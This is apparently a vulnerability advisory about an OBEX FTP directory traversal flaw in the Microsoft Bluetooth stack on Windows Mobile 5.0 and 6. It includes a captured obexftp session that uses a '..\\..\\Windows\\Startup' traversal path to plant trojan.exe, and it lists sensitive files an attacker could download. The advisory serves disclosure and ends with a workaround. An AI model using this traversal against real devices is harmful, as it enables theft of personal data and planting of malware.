Microsoft Bluetooth Stack OBEX Directory Traversal
Title: Microsoft Bluetooth Stack OBEX Directory Traversal
Author: Alberto Moreno Tablado
Vendor: Microsoft
Product: Windows Mobile 6 Professional (Probably Windows Mobile 5.0 for Pocket
PC and Windows Mobile 5.0 for Pocket PC Phone Edition)
References:
http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/Microsoft-Bluetooth-Stack-Directory-Traversal.html
Description:
Most Windows Mobile 5.0 & 6 devices are shipped with Microsoft Bluetooth stack,
only few of them use others like Widcomm Bluetooth stack. Among all the
Bluetooth services that may be implemented in the stack, OBEX FTP is the most
common service.
OBEX FTP Bluetooth service can be used to share files through Bluetooth, not
only by sending files but also by allowing remote devices to browse local
shared folders and download files. Usually, the service is configured in such a
way that a specific directory is shared and the user can place there all the
files he would like to share with other people. The default directory is My
Device\My Documents\Bluetooth Share. A different directory may be selected by
the user, however the Bluetooth wizard usually doesn't allow specifying any
other from the filesystem out of My Device\My Documents\ or Memory Card\My
Documents\ paths. This is because of safety reasons, so the user can't expose
sensitive files or information through Bluetooth.
There exists a Directory Traversal vulnerability in the OBEX FTP Service in
Microsoft Bluetooth Stack implemented in Windows Mobile 5.0 & 6 devices. A
remote attacker (who previously owned authentication and authorization rights)
can use tools like ObexFTP to traverse to parent directories out of the default
Bluetooth shared folder. This means the attacker can browse folders located on
a lower level, download files contained in those folders as well as upload
files to those folders.
The only requirement is that the attacker must have authentication and
authorization privileges over the OBEX FTP service. Pairing up with the remote
Windows Mobile device should be enough to get it. In case the attacker
succeeded in getting the proper privileges, further actions will be transparent
to the user.
As described above, the attacker can take three risky actions:
- Browse directories located out of the limits of the default shared folder and
discover sensitive information about the structure of the filesystem.
- Download sensitive files located anywhere in the filesystem, such as personal
pictures and documents, emails located in \Windows\Messaging or
Contacts+Calendar+Tasks information included in \PIM.vol.
- Upload dangerous files like trojans to any place in the filesystem, such as
\Windows\Startup.
In the following capture, the attacker firstly lists the default Bluetooth
shared folder. After that, the attacker puts a trojan.exe file in the
\Windows\Startup folder.
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Receiving "(null)"... <?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
<parent-folder name="" />
<file name="fotaca.jpg" created="20090119T173932Z" size="134680"/>
<file name="nota.pwi" created="20090119T175242Z" size="432"/>
</folder-listing>
done
Disconnecting...done
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -c
"..\\..\\Windows\\Startup\\" -p trojan.exe
Browsing 00:17:83:02:BA:3C ...
Channel: 4
Connecting...done
Sending "..\..\Windows\Inicio\"... done
Sending "trojan.exe"...\done
Disconnecting...done
gospel@gospel-shift:~/bluez$
The trojan file will be executed the next time Windows Mobile inits.
Workaround:
Do not accept pairing nor connection requests from unknown sources. Delete old
entries in the paired devices list. Wait for proper vendor response and updates.